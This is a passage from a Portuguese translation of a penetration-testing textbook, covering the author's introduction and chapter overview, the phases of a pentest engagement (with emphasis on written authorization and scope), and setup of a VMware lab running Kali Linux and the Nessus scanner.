fazer o menu Start (Iniciar) do Windows XP anterior ao SP2 apresentar Georgia no lugar de Start. E eu tinha muito orgulho de mim mesma na época. Então fui para o Collegiate Cyber Defense Competition e todos os membros da Red Team estavam usando a linha de comando em alta velocidade, fazendo janelas pop-up aparecerem em meu desktop, estando do outro lado de uma sala lotada de pessoas. Tudo o que eu sabia era que eu queria ser igual a eles. Houve
27Introdução muito trabalho árduo entre aquela época e o presente momento, e haverá muito mais trabalho árduo na medida em que me empenho em alcançar o nível mais alto em segurança de informações. Espero somente que, com este livro, eu possa inspirar mais pessoas a seguirem o mesmo caminho. Parte I: Definições básicas No capítulo 0, começaremos com algumas definições básicas das expressões usadas em testes de invasão. No capítulo 1, montaremos nosso pequeno laboratório de treinamento, que usaremos para trabalhar com os exercícios presentes neste livro. Em vários livros, é possível simplesmente fazer o download de alguns programas em sua plataforma existente, porém, para simular um teste de invasão, nossa abordagem é um pouco mais sofisticada. Recomendo que você reserve tempo para configurar o seu laboratório e trabalhe com os exemplos práticos junto comigo. Embora este livro possa servir como uma referência e para relembrar assuntos quando estiver em campo, acredito que seja melhor, inicialmente, colocar suas habilidades de testes de invasão em prática em casa. No capítulo 2, começaremos com o básico sobre o uso dos sistemas operacionais Kali Linux e Linux em geral. A seguir, o capítulo 3 aborda os fundamentos da programação. Alguns leitores podem já ter um conhecimento prático nessas áre- as e poderão pular essa parte. Quando comecei a trabalhar nessa área, eu tinha um pouco de experiência com programação C e Java, porém não tinha nenhum conhecimento anterior em criação de scripts e não tinha praticamente nenhum conhecimento anterior de Linux – um conjunto de habilidades que é pressuposto pela maioria dos tutoriais sobre hacking que encontrei. Desse modo, disponibilizei aqui um texto introdutório. Se esses assuntos forem novidade para você, por favor, continue seus estudos além deste livro. Os sistemas operacionais baseados em Linux estão se tornando mais e mais dominantes como plataformas para dispo- sitivos móveis e web services, portanto habilidades nessa área serão vantajosas, mesmo que você não siga uma carreira em segurança da informação. Da mesma maneira, saber como criar scripts para tarefas comuns pode facilitar a sua vida, independentemente de sua carreira. No capítulo 4, daremos uma olhada no básico sobre o uso do Metasploit, uma ferramenta da qual iremos tirar vantagem ao longo deste livro. Iremos aprender também a realizar diversas tarefas sem o Metasploit, apesar de ele ser uma ferra- menta obrigatória para muitos pentesters no campo e estar evoluindo constan- temente para incluir as ameaças e técnicas mais recentes.
Testes de invasão28 Parte II: Avaliações A seguir, começaremos a trabalhar com um teste de invasão simulado. No capítulo 5, daremos início ao fazer a coleta de dados relacionados ao nosso alvo – tanto pesquisando livremente as informações disponíveis online quanto envol- vendo nossos sistemas-alvo. Então começaremos a procurar vulnerabilidades por meio de uma combinação de consultas aos sistemas e de pesquisas no capítulo 6. No capítulo 7, daremos uma olhada nas técnicas usadas para capturar o tráfego que possa incluir dados críticos. Parte III: Ataques A seguir, no capítulo 8, daremos uma olhada na exploração de vulnerabilidades encontradas na rede, usando uma variedade de ferramentas e técnicas que incluem o Metasploit e a exploração exclusivamente manual. Então daremos uma olhada nos métodos para atacar aquilo que normalmente é o elo mais fraco na segurança de uma rede – o gerenciamento de senhas – no capítulo 9. Em seguida, veremos algumas técnicas mais avançadas de exploração de falhas. Nem todas as vulnerabilidades estão em um serviço que esteja esperando dados na rede. Os navegadores web, os leitores de PDF, o Java, o Microsoft Office – todos já estiveram sujeitos a problemas de segurança. Enquanto os clientes trabalham arduamente para garantir a segurança de suas redes, atacar softwares do lado do cliente pode ser a chave para conseguir fincar o pé em uma rede. Daremos uma olhada em como tirar vantagem dos ataques do lado do cliente no capítulo 10. No capítulo 11, combinaremos ataques do lado do cliente com a engenharia social, ou seja, o ataque ao elemento humano – a parte do ambiente que não pode ser corrigida com patches. Afinal de contas, com ataques do lado do cliente, o software em questão deve abrir algum tipo de arquivo malicioso, portanto devemos convencer o usuário a nos ajudar. No capítulo 12, daremos uma olhada em alguns métodos para desviar de software antivírus, pois muitos de seus clientes os terão instalados. Se tiver privilégios elevados o suficiente em um sistema, você poderá simplesmente desabilitar programas antivírus, porém uma solução melhor será passar pelos programas antivírus sem ser detectado, o que pode ser feito mesmo que você salve programas maliciosos no disco rígido. No capítulo 13, passaremos para a próxima fase de nosso teste de invasão, a pós- exploração de falhas. Alguns dizem que o teste de invasão realmente começa após a exploração de falhas. É nesse ponto que você tira vantagem de seu acesso para descobrir sistemas adicionais a serem atacados, informações críticas a serem rou- badas e assim por diante. Se prosseguir em seus estudos sobre testes de invasão,
29Introdução você gastará bastante tempo trabalhando com as melhores e mais recentes técnicas de pós-exploração de falhas. Depois da pós-exploração, discutiremos algumas habilidades adicionais necessá- rias para ser um pentester completo. Daremos uma olhada rápida na avaliação da segurança de aplicações web personalizadas no capítulo 14. Atualmente, todos têm um site, portanto essa é uma boa habilidade a ser cultivada. A seguir, daremos uma olhada na avaliação de segurança de redes wireless no capítulo 15, conhecendo os métodos para quebrar sistemas criptográficos comumente implantados. Parte IV: Desenvolvimento de exploits Os capítulos 16, 17, 18 e 19 discutem o básico sobre a criação de seus próprios ex- ploits. Daremos uma olhada na descoberta de vulnerabilidades, em sua exploração por meio de técnicas comuns e até mesmo na criação de seu próprio módulo do Metasploit. Até esses capítulos, contaremos com ferramentas e exploits disponíveis publicamente para muitos de nossos exercícios. À medida que avançar na área de segurança da informação, você pode querer descobrir bugs novos (chamados de zero-days) e relatá-los aos fornecedores para receber uma possível recompensa. Você pode então disponibilizar um exploit público e/ou um módulo do Metasploit para ajudar outros pentesters a testarem os ambientes de seus clientes no que diz respeito ao problema identificado por você. Parte V: Hacking de dispositivos móveis Por fim, no capítulo 20, concluiremos com uma área relativamente nova dos testes de invasão – a avaliação de segurança de dispositivos móveis. Daremos uma olhada em minha própria ferramenta, o Smartphone Pentest Framework. Quem sabe, depois de ter domínio sobre as habilidades apresentadas neste livro, você possa se empenhar em desenvolver e disponibilizar uma ferramenta de segurança criada por você mesmo. É claro que este livro não inclui toda e qualquer faceta da área de segurança de informações, nem inclui todas as ferramentas e técnicas existentes. Se o fizesse, o livro teria exigido muito mais tempo e teria sido publicado muito tempo depois, e eu preciso voltar para as minhas pesquisas. Então aqui está ele: uma introdução prática ao hacking. É uma honra estar com você neste passo importante de sua jornada em segurança da informação. Espero que você aprenda bastante com este livro e que ele o inspire a continuar os seus estudos e a se tornar um membro ativo desse campo empolgante e em rápido desenvolvimento.
30 capítulo 0 Introdução aos testes de invasão Testes de invasão ou pentesting (não confundir com testes de caneta esferográfica ou de canetas-tinteiro) envolvem a simulação de ataques reais para avaliar os riscos associados a potenciais brechas de segurança. Em um teste de invasão (em oposição a uma avaliação de vulnerabilidades), os pentesters não só identificam vulnerabilidades que poderiam ser usadas pelos invasores, mas também explo- ram essas vulnerabilidades, sempre que possível, para avaliar o que os invasores poderiam obter após uma exploração bem-sucedida das falhas. De tempos em tempos, surge uma história nos noticiários sobre uma empresa de grande porte que foi alvo de um ciberataque. Com mais frequência do que se espera, os invasores não usam a última e mais recente vulnerabilidade zero-day (uma vulnerabilidade que ainda não foi corrigida pelos fornecedores de software). Empresas de grande porte, com orçamentos consideráveis em segurança, tornam- se vítimas de vulnerabilidades de injeção de SQL em seus sites, de ataques de engenharia social contra seus funcionários, de senhas fracas em serviços dispo- níveis pela Internet e assim por diante. Em outras palavras, as empresas estão perdendo dados proprietários e expondo detalhes pessoais de seus clientes em consequência de brechas de segurança que poderiam ter sido corrigidas. Em um teste de invasão, descobrimos esses problemas antes que um invasor o faça e for- necemos recomendações sobre como corrigi-los e evitar vulnerabilidades futuras. O escopo de seus testes de invasão irá variar de cliente para cliente, assim como ocorrerá com suas tarefas. Alguns clientes terão uma postura excelente quanto à segurança, enquanto outros terão vulnerabilidades que permitiriam aos invasores violar o perímetro e obter acesso aos sistemas internos. Você também poderá ser responsável pela avaliação de uma ou mais aplicações web personalizadas. Poderá realizar ataques de engenharia social e do lado do cliente para obter acesso à sua rede interna. Alguns testes de invasão exigirão que
31Capítulo 0 ■ Introdução aos testes de invasão você atue como alguém de dentro – um funcionário malicioso ou um invasor que já tenha violado o perímetro – à medida que realizar um teste de invasão interno. Alguns clientes exigirão um teste de invasão externo, em que você simulará um ataque por meio da Internet. E alguns clientes podem querer que você avalie a segurança das redes wireless de seus escritórios. Em alguns casos, você poderá até mesmo efetuar uma auditoria nos controles de segurança físicos de um cliente. Fases de um teste de invasão Os testes de invasão têm início com a fase de preparação (pre-engagement), que envolve conversar com o cliente a respeito de seus objetivos para o teste de inva- são, o mapeamento do escopo (a extensão e os parâmetros do teste) e assim por diante. Quando o pentester e o cliente chegarem a um acordo sobre o escopo, a formatação do relatório e outros assuntos, o teste de invasão propriamente dito terá início. Na fase de coleta de informações (information-gathering), o pentester procura informações disponíveis publicamente sobre o cliente e identifica maneiras em potencial de conectar-se com seus sistemas. Na fase de modelagem das ameaças (threat-modeling), o pentester usa essas informações para determinar o valor de cada descoberta e o impacto sobre o cliente caso a descoberta permita que alguém invada um sistema. Essa avaliação permite ao pentester desenvolver um plano de ação e métodos de ataque. Antes que o pentester possa começar a atacar os sistemas, ele realiza uma análise de vulnerabilidades (vulnerability analysis). Nessa fase, o pentester procura descobrir vulnerabilidades nos sistemas que poderão ser exploradas na fase de exploração de falhas (exploitation). Um exploit bem-sucedido pode conduzir a uma fase de pós-exploração de falhas (post-exploitation), em que se tira vantagem do resultado da exploração de falhas, de modo a descobrir informações adicionais, obter dados críticos, acessar outros sistemas e assim por diante. Por fim, na fase de geração de relatórios (reporting), o pentester sintetiza as desco- bertas tanto para os profissionais executivos quanto para os técnicos. N O T A Para obter mais informações sobre testes de invasão, um bom local para começar é o Penetration Testing Execution Standard (PTES) em http://www. pentest-standard.org/.
Testes de invasão32 Preparação Antes que o teste de invasão comece, os pentesters realizam interações prepara- tórias com o cliente para verificar se todos estão em sintonia em relação ao teste de invasão. A falha de comunicação entre um pentester e um cliente que espera uma análise simples de vulnerabilidade pode levar a uma situação complicada porque os testes de invasão são muito mais intrusivos. A fase de preparação é aquela em que você deve reservar tempo para entender os objetivos de negócio de seu cliente no que diz respeito ao teste de invasão. Se esse é o primeiro teste de invasão deles, o que os levou a procurar um pentester? Quais as exposições que eles mais temem? Eles têm algum dispositivo frágil com o qual você deverá ter cuidado ao efetuar os testes? (Já vi de tudo, desde moinhos de vento a dispositivos hospitalares ligados a pacientes nas redes.) Faça perguntas sobre os negócios de seu cliente. O que é mais importante para eles? Por exemplo, para um grande site de vendas online, horas de downtime podem significar milhares de dólares de receita perdidos. Para um banco local, sites de Internet banking que fiquem fora do ar durante algumas horas podem irritar alguns clientes, mas esse downtime não seria, nem de perto, tão devasta- dor quanto o comprometimento de um banco de dados de cartões de crédito. Para um fornecedor de sistemas de segurança de informações, ter sua página inicial infestada de mensagens grosseiras de invasores poderia levar a danos em sua reputação, o que poderia se transformar em uma bola de neve e resultar em grandes perdas de receita. Outros itens importantes a serem discutidos e em relação aos quais é preciso chegar a um acordo durante a fase de preparação do teste de invasão incluem o seguinte: Escopo Quais endereços IP ou hosts estão incluídos no escopo e quais não estão? Que tipo de ação o cliente permitirá que você realize? Você tem permissão para usar exploits e desativar potencialmente um serviço, ou deve limitar a avaliação a simplesmente detectar possíveis vulnerabilidades? O cliente compreende que mesmo um scan simples de portas pode desativar um servidor ou um roteador? Você tem permissão para realizar ataques de engenharia social?
33Capítulo 0 ■ Introdução aos testes de invasão Janela de testes O cliente pode querer que você realize testes somente durante horários espe- cíficos ou em determinados dias. Informações de contato Quem você deve contatar caso descubra algo sério? O cliente espera que você entre em contato com alguém 24 horas por dia? Eles preferem que você use criptografia nos emails? Cartão para “sair da cadeia livremente” Certifique-se de que você tenha autorização para realizar um teste de invasão no alvo. Se um alvo não pertence à empresa (por exemplo, porque ele está sendo hospedado por um terceiro), não se esqueça de verificar se o cliente tem apro- vação formal do terceiro para realizar o teste de invasão. Independentemente disso, certifique-se de que o seu contrato inclua uma cláusula que limite a sua responsabilidade nos casos em que algo inesperado aconteça, e obtenha permissão por escrito para realizar o teste. Termos de pagamento Como e quando você será pago e qual é o valor? Por fim, inclua uma cláusula para um acordo de confidencialidade em seu con- trato. Os clientes apreciarão o seu comprometimento por escrito para manter o teste de invasão e qualquer descoberta confidenciais. Coleta de informações A seguir, temos a fase de coleta de informações. Durante essa fase, você analisará livremente as fontes de informação disponíveis, um processo conhecido como coleta de OSINT (Open Source Intelligence, ou dados de fontes abertas). Você também começará a usar ferramentas como scanners de porta para ter uma ideia de quais sistemas estão presentes na Internet ou na rede interna, bem como quais softwares estão executando. Exploraremos a coleta de informações com mais detalhes no capítulo 5.
Testes de invasão34 Modelagem das ameaças De acordo com o conhecimento obtido na fase de coleta de informações, pros- seguiremos para a modelagem das ameaças. Nesse ponto, pensaremos como os invasores e desenvolveremos planos de ataque de acordo com as informações cole- tadas. Por exemplo, se o cliente desenvolver um software proprietário, um invasor poderá devastar a empresa ao obter acesso aos seus sistemas de desenvolvimento internos, em que o código-fonte é desenvolvido e testado, e vender os segredos comerciais da empresa a um concorrente. De acordo com os dados encontrados durante a fase de coleta de informações, desenvolveremos estratégias para invadir os sistemas de um cliente. Análise de vulnerabilidades A seguir, os pentesters começam a descobrir ativamente as vulnerabilidades a fim de determinar até que ponto suas estratégias de exploração de falhas poderão ser bem-sucedidas. Os exploits que falharem poderão desativar serviços, disparar alertas de detecção de invasão e arruinar suas chances de efetuar uma exploração de falhas bem-sucedida. Com frequência, durante essa fase, os pentesters executam scanners de vulnerabilidades, que usam bancos de dados de vulnerabilidades e uma série de verificações ativas para obter um palpite melhor a respeito de quais vulnerabilidades estão presentes no sistema de um cliente. Entretanto, embora os scanners de vulnerabilidade sejam ferramentas eficazes, elas não podem substituir totalmente o raciocínio crítico, portanto realizamos também análises manuais e verificamos os resultados por conta própria nessa fase. Iremos explorar várias ferramentas e técnicas de identificação de vulnerabilidades no capítulo 6. Exploração de falhas Agora vamos à parte divertida: a exploração de falhas. Neste ponto, executamos exploits contra as vulnerabilidades descobertas (às vezes, usando uma ferramenta como o Metasploit) em uma tentativa de acessar os sistemas de um cliente. Como você verá, algumas vulnerabilidades serão muito fáceis de ser exploradas, por exemplo, fazer login com senhas default. Daremos uma olhada na exploração de falhas no capítulo 8.
35Capítulo 0 ■ Introdução aos testes de invasão Pós-exploração de falhas Alguns dizem que os testes de invasão realmente começam somente após a ex- ploração de falhas, na fase de pós-exploração. Você conseguiu entrar no sistema, mas o que essa invasão realmente significa para o cliente? Se você invadir um sistema legado, sem patches (correções), que não faça parte de um domínio ou que não esteja ligado a alvos muito valiosos, e esse sistema não contiver nenhuma informação que interesse a um invasor, o risco dessa vulnerabilidade será signifi- cativamente menor do que se você pudesse explorar um controlador de domínio ou um sistema de desenvolvimento de um cliente. Durante a fase de pós-exploração de falhas, reunimos informações sobre o sistema invadido, procuramos arquivos interessantes, tentamos elevar o nível de nossos privilégios quando necessário e assim por diante. Por exemplo, podemos fazer um dump das hashes de senha para ver se podemos revertê-las ou usá-las para acessar sistemas adicionais. Também podemos tentar usar o computador explorado para atacar sistemas que não estavam anteriormente disponíveis a nós se efetuarmos um pivoteamento para esses sistemas. Daremos uma olhada na pós-exploração de falhas no capítulo 13. Geração de relatórios A última fase do teste de invasão é a geração de relatórios. É nessa fase que infor- mamos as nossas descobertas ao cliente de maneira significativa. Dizemos o que eles estão fazendo corretamente, os pontos em que devem melhorar sua postura quanto à segurança, como você conseguiu invadir, o que você descobriu, como corrigir os problemas e assim por diante. Escrever um bom relatório de teste de invasão é uma arte que exige prática para dominar. Será necessário informar as suas descobertas de forma clara a todos, da equipe de TI responsável pela correção das vulnerabilidades até a alta gerência que aprova as alterações junto aos auditores externos. Por exemplo, se alguém que não seja da área técnica ler algo como “Então usei o MS08-067 para obter um shell”, essa pessoa poderá pensar “Você quer dizer shell, como na marca do com- bustível?”. Uma maneira melhor de transmitir esse raciocínio seria mencionar os dados privados que você foi capaz de acessar ou de alterar. Uma afirmação como “Fui capaz de ler o seu email” irá gerar repercussões em quase todos. O relatório do teste de invasão deve incluir tanto um sumário executivo quanto um relatório técnico, conforme será discutido nas seções a seguir.
Testes de invasão36 Sumário executivo O sumário executivo descreve os objetivos do teste e oferece uma visão geral das descobertas. O público-alvo que se pretende atingir são os executivos responsá- veis pelo programa de segurança. Seu sumário executivo deve incluir o seguinte: • Histórico – Uma descrição do propósito do teste e definições de qualquer termo que possa não ser familiar aos executivos, por exemplo, vulnerabilidade e medidas de prevenção. • Postura geral – Uma visão geral da eficiência do teste, os problemas encontra- dos (por exemplo, a exploração da vulnerabilidade MS08-067 da Microsoft) e problemas gerais que causam vulnerabilidades, como a ausência de ge- renciamento de patches. • Perfil do risco – Uma classificação geral da postura da empresa quanto à se- gurança, quando comparada com organizações semelhantes, com medidas como alto, moderado ou baixo. Você também deve incluir uma explicação sobre a classificação. • Descobertas gerais – Uma sinopse geral dos problemas identificados, junta- mente com estatísticas e métricas sobre a eficiência de qualquer medida de prevenção implantada. • Resumo das recomendações – Uma visão geral das tarefas necessárias para corrigir os problemas descobertos no teste de invasão. • Mapa estratégico – Oferece objetivos de curto e de longo prazo ao cliente para melhorar a sua postura quanto à segurança. Por exemplo, você pode dizer a eles para aplicarem determinados patches agora para endereçar as preocupações de curto prazo, porém, sem um plano de longo prazo para o gerenciamento de patches, o cliente estará na mesma posição após novos patches terem sido disponibilizados. Relatório técnico Essa seção do relatório oferece detalhes técnicos sobre o teste. Ela deve incluir o seguinte: • Introdução – Um inventário dos detalhes como escopo, contatos e assim por diante. • Coleta de informações – Detalhes das descobertas da fase de coleta de informa- ções. De particular interesse, são os rastros do cliente (footprint) deixados na Internet.
37Capítulo 0 ■ Introdução aos testes de invasão • Avaliação de vulnerabilidades – Detalhes das descobertas da fase de análise de vulnerabilidades do teste. • Exploração de falhas/verificação de vulnerabilidades – Detalhes das descobertas da fase de exploração de falhas do teste. • Pós-exploração de falhas – Detalhes das descobertas da fase de pós-exploração de falhas do teste. • Risco/exposição – Uma descrição quantitativa do risco identificado. Essa seção faz uma estimativa das perdas caso as vulnerabilidades identificadas sejam exploradas por um invasor. • Conclusão – Uma visão geral final do teste. Resumo Este capítulo proporcionou uma breve visão das fases do teste de invasão, incluin- do a preparação, a coleta de informações, a modelagem das ameaças, a análise de vulnerabilidades, a exploração de falhas, a pós-exploração de falhas e a geração de relatórios. A familiaridade com essas fases será crucial à medida que você iniciar sua carreira como pentester, e você aprenderá mais a respeito delas ao longo deste livro.
38 parte I DEFINIÇÕES BÁSICAS
39 capítulo 1 Configurando o seu laboratório virtual À medida que trabalhar neste livro, você irá adquirir uma experiência prática por meio do uso de diferentes ferramentas e técnicas usadas em testes de invasão ao trabalhar em um laboratório virtual executado no software de virtualização VMware. Descreverei o processo de configuração de seu laboratório, que executará vários sistemas operacionais dentro de seu sistema operacional de base, de modo a simular uma rede inteira usando somente um computador físico. Utilizaremos o nosso laboratório para atacar sistemas-alvo ao longo deste livro. Instalando o VMware Como primeiro passo da configuração de seu laboratório virtual, faça o download e instale um produto VMware para desktop. O VMware Player está disponível gratuitamente para uso pessoal para os sistemas operacionais Microsoft Windows e Linux (http://www.vmware.com/products/player/). O VMware também oferece o VMware Workstation (http://www.vmware.com/products/workstation/) para Windows e Linux, que inclui recursos adicionais como a capacidade de salvar imagens (snap- shots) da máquina virtual para as quais é possível retroceder em caso de haver alguma falha. O VMware Workstation está disponível gratuitamente por 30 dias, porém, depois disso, será necessário comprá-lo ou voltar a usar o VMware Player. Usuários de Mac podem executar uma versão trial do VMware Fusion (http://www. vmware.com/products/fusion/) gratuitamente durante 30 dias, e seu custo, depois disso, é de apenas 50 dólares. Como usuário de Mac, usarei o VMware Fusion ao longo do livro, mas as instruções para efetuar a configuração estão disponíveis também para o VMware Player.
Testes de invasão40 Faça o download da versão do VMware que seja compatível com o seu sistema operacional e a sua arquitetura (32 bits ou 64 bits). Se houver algum problema na instalação do VMware, você encontrará suporte suficiente no site da VMware. Instalando o Kali Linux O Kali Linux é uma distribuição de Linux baseada em Debian, que vem com uma ampla variedade de ferramentas de segurança pré-instalada; ele será usado ao longo desta obra. Este livro foi escrito para o Kali 1.0.6, que era a versão atual na época desta publicação. Você encontrará um link para um torrent contendo uma cópia do Kali 1.0.6 no site deste livro (http://nostarch.com/pentesting/). À me- dida que o tempo passar, versões mais novas do Kali serão disponibilizadas. Se quiser, sinta-se à vontade para fazer o download da versão mais recente do Kali Linux a partir de http://www.kali.org/. Entretanto tenha em mente que muitas das ferramentas que usaremos neste livro estão em desenvolvimento no momento, portanto, se você usar uma versão mais recente do Kali, alguns dos exercícios poderão apresentar diferenças em relação às descrições contidas neste livro. Se preferir que tudo funcione conforme descrito, recomendo usar a versão 1.0.6 do Kali, disponibilizada no torrent (um arquivo chamado kali-linux-1.0.6-vm-i486.7z), que corresponde a uma imagem do VMware, pronta e compactada com o 7-Zip. N O T A Você pode encontrar programas 7-Zip para as plataformas Windows e Linux em http://www.7-zip.org/download.html. Para usuários de Mac, recomendo o Ez7z, que se encontra em http://ez7z .en.softonic.com/mac/. 1. Depois que o arquivo 7-Zip for descompactado, acesse File4Open (Arquivo 4 Abrir) no VMware e direcione-o para o arquivo Kali Linux 1.0.6 32 bit.vmx na pasta Kali Linux 1.0.6 32 bit descompactada. 2. Depois que a máquina virtual for aberta, clique no botão Play (Executar) e, quando solicitado, conforme mostrado na figura 1.1, selecione I copied it (Eu a copiei). 3. À medida que o Kali Linux iniciar, você verá um prompt, conforme mos- trado na figura 1.2. Selecione a opção destacada mais acima (default). 4. Depois que o Kali Linux iniciar, uma tela de login será apresentada, como a que está sendo mostrada na figura 1.3.
41Capítulo 1 ■ Configurando o seu laboratório virtual Figura 1.1 – Abrindo a máquina virtual Kali Linux. Figura 1.2 – Iniciando o Kali Linux.
Testes de invasão42 Figura 1.3 – Tela de login do Kali. 5. Clique em Other (Outro) e forneça as credenciais default do Kali Linux, ou seja, root:toor, como mostrado na figura 1.4. Em seguida, clique no botão Log In. Figura 1.4 – Fazendo login no Kali.
43Capítulo 1 ■ Configurando o seu laboratório virtual 6. Uma tela como a que está sendo mostrada na figura 1.5 será apresentada. Figura 1.5 – A GUI do Kali Linux. Configurando a rede de sua máquina virtual Como usaremos o Kali Linux para atacar nossos sistemas-alvo por meio de uma rede, devemos colocar todas as nossas máquinas virtuais na mesma rede virtual (veremos um exemplo de movimentação entre redes no capítulo 13, que discute a pós-exploração de falhas). O VMware oferece três opções para conexões de redes virtuais: bridged (com bridge), NAT e host only (somente hosts). Você deverá escolher a opção bridged (com bridge), mas aqui estão algumas informações a respeito de cada uma delas: • A rede com bridge (bridged network) conecta a máquina virtual diretamente à rede local usando a mesma conexão usada pelo sistema host. No que concerne à rede local, nossa máquina virtual será somente outro nó da rede, com seu próprio endereço IP. • A NAT, sigla para Network Address Translation (Tradução de endereço de rede) define uma rede privada no computador host. A rede privada faz a tradução do tráfego de saída da máquina virtual para a rede local. Na rede local, o tráfego da máquina virtual parecerá vir do endereço IP do computador host.
Testes de invasão44 • A rede somente hosts (host-only) limita a máquina virtual a uma rede privada local no host. A máquina virtual será capaz de se comunicar com outras máquinas virtuais na rede somente de hosts, bem como com o próprio computador host, porém não poderá enviar nem receber qualquer tráfego da rede local ou da Internet. N O T A Como nossas máquinas virtuais-alvo terão diversas vulnerabilidades de segurança conhecidas, tome cuidado ao conectá-las à sua rede local, pois qualquer pessoa nessa rede também poderá atacar esses computadores. Por esse motivo, não recomento trabalhar, neste livro, em uma rede pública, em que você não possa confiar nos demais usuários. Por padrão, o adaptador de rede da máquina virtual Kali Linux é definido com NAT. Aqui está o modo de alterar essa opção tanto no Windows quanto no Mac OS. VMware Player no Microsoft Windows Para alterar a rede virtual no VMware Player para Windows, inicie o VMware Player e, em seguida, clique em sua máquina virtual Kali Linux. Selecio- ne Edit virtual machine settings (Alterar configurações da máquina virtual), conforme mostrado na figura 1.6. [Se você ainda estiver executando o Kali Linux no VMware Player, selecione Player4Manage4Virtual machine settings (Player4Administração4 Configurações da máquina virtual).] Figura 1.6 – Alterando o adaptador de rede do VMware.
45Capítulo 1 ■ Configurando o seu laboratório virtual Na tela seguinte, selecione Network Adapter (Adaptador de rede) na aba Hardware e selecione a opção Bridged (Com bridge) na seção Network connection (Conexão de rede), como mostrado na figura 1.7. Figura 1.7 – Alterando as configurações do adaptador de rede. Agora clique no botão Configure Adapters (Configurar adaptadores) e verifique o adaptador de rede que você está usando em seu sistema operacional host. Como você pode ver na figura 1.8, selecionei somente o adaptador Realtek wireless. Após ter efetuado a sua seleção, clique em OK. Figura 1.8 – Selecionando um adaptador de rede.
Testes de invasão46 VMware Fusion no Mac OS Para mudar a conexão da rede virtual no VMware Fusion, acesse Virtual Machine4Network Adapter (Máquina Virtual4 Adaptador de rede) e altere de NAT para Bridged, conforme mostrado na figura 1.9. Figura 1.9 – Alterando o adaptador de rede. Conectando a máquina virtual à rede O Kali Linux deverá obter automaticamente um endereço IP da rede Bridged depois que a alteração for feita. Para conferir o seu endereço IP, abra um terminal Linux ao clicar no ícone do terminal (um retângulo preto com os símbolos >_) na parte superior à esquerda da tela do Kali [ou selecione Applications4Accessories 4Terminal (Aplicativos4Acessórios4Terminal)]. Em seguida, execute o comando ifconfig para ver as informações de sua rede, conforme mostrado na listagem 1.1.
47Capítulo 1 ■ Configurando o seu laboratório virtual Listagem 1.1 – Informações de rede root@kali:~# ifconfig eth0 Link encap:Ethernet HWaddr 00:0c:29:df:7e:4d inet addr:192.168.20.9 Bcast:192.168.20.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fedf:7e4d/64 Scope:Link --trecho omitido-- N O T A root@kali:~# corresponde ao prompt do superusuário (root). Aprenderemos mais sobre esse e os demais comandos do Linux utilizados na instalação no capítulo 2. O endereço IPv4 dessa máquina virtual é 192.168.20.9, como destacado em negrito na listagem 1.1. (O endereço IP de seu computador provavelmente será diferente.) Testando o seu acesso à Internet Agora vamos garantir que o Kali Linux possa se conectar à Internet. Usaremos o utilitário de rede ping para ver se podemos acessar o Google. Certifique-se de que o seu computador esteja conectado à Internet, abra um terminal Linux e digite o seguinte: root@kali:~# ping www.google.com Se vir algo parecido com a resposta a seguir, você estará online. (Aprenderemos mais sobre o comando ping no capítulo 3.) PING www.google.com (50.0.2.221) 56(84) bytes of data. 64 bytes from cache.google.com (50.0.2.221): icmp_req=1 ttl=60 time=28.7 ms 64 bytes from cache.google.com (50.0.2.221): icmp_req=2 ttl=60 time=28.1 ms 64 bytes from cache.google.com (50.0.2.221): icmp_req=3 ttl=60 time=27.4 ms 64 bytes from cache.google.com (50.0.2.221): icmp_req=4 ttl=60 time=29.4 ms 64 bytes from cache.google.com (50.0.2.221): icmp_req=5 ttl=60 time=28.7 ms 64 bytes from cache.google.com (50.0.2.221): icmp_req=6 ttl=60 time=28.0 ms --trecho omitido-- Se você não receber uma resposta, certifique-se de ter configurado o seu adaptador de rede para Bridged, que o Kali Linux tenha um endereço IP e, é claro, que o seu sistema host tenha acesso à Internet no momento.
Testes de invasão48 Instalando o Nessus Embora o Kali Linux tenha praticamente todas as ferramentas de que precisa- remos, será necessário instalar alguns programas adicionais. Em primeiro lugar, iremos instalar o scanner de vulnerabilidades Nessus Home da Tenable Security. Esse scanner é gratuito somente para usos domésticos (você verá uma descrição das limitações no site do Nessus). Observe que o Nessus tem um desenvolvimento bastante ativo, portanto a versão atual, bem como a sua GUI, podem ter sido um pouco alteradas desde a publicação deste livro. Utilize os passos a seguir para instalar o Nessus Home a partir do Kali: 1. Abra Applications4Internet4Iceweasel Web Browser(Aplicativos4Internet4Navega dor web Iceweasel) e digite http://www.tenable.com/products/nessus-home/ na barra de endereço. Preencha as informações de Register for an Activation Code (Registrar para obter um código de ativação) e clique em Register (Registrar). (Use um endereço real de email – você precisará do código de ativação mais tarde.) 2. Após ter acessado a página de Downloads, selecione a versão mais recente do Nessus para a plataforma Linux Debian 32 bits (Nessus-5.2.5-debian6_i386.deb, na época em que este livro foi publicado) e faça o download dessa versão em seu diretório root (o local default para download). 3. Abra um terminal Linux (clique no ícone do terminal na parte superior da tela do Kali) para abrir um prompt de root. 4. Digite ls para ver uma lista dos arquivos em seu diretório root. Você deverá ver o arquivo do Nessus que acabou de ser baixado. 5. Digite dpkg -i seguido do nome do arquivo que foi baixado (você pode digitar a primeira letra do nome do arquivo e teclar tab para utilizar o recurso de preenchimento com tab) e tecle enter para iniciar o processo de instalação. A instalação pode demorar um pouco, pois o Nessus processa diversos plugins. O progresso é mostrado por meio de uma linha contendo símbolos de sustenido (#). Selecting previously unselected package nessus. (Reading database ... 355024 files and directories currently installed.) Unpacking nessus (from Nessus-5.2.5-debian6_amd64.deb) ... Setting up nessus (5.2.5) ... nessusd (Nessus) 5.2.5 [build N25109] for Linux Copyright (C) 1998 - 2014 Tenable Network Security, Inc Processing the Nessus plugins... [########### ]
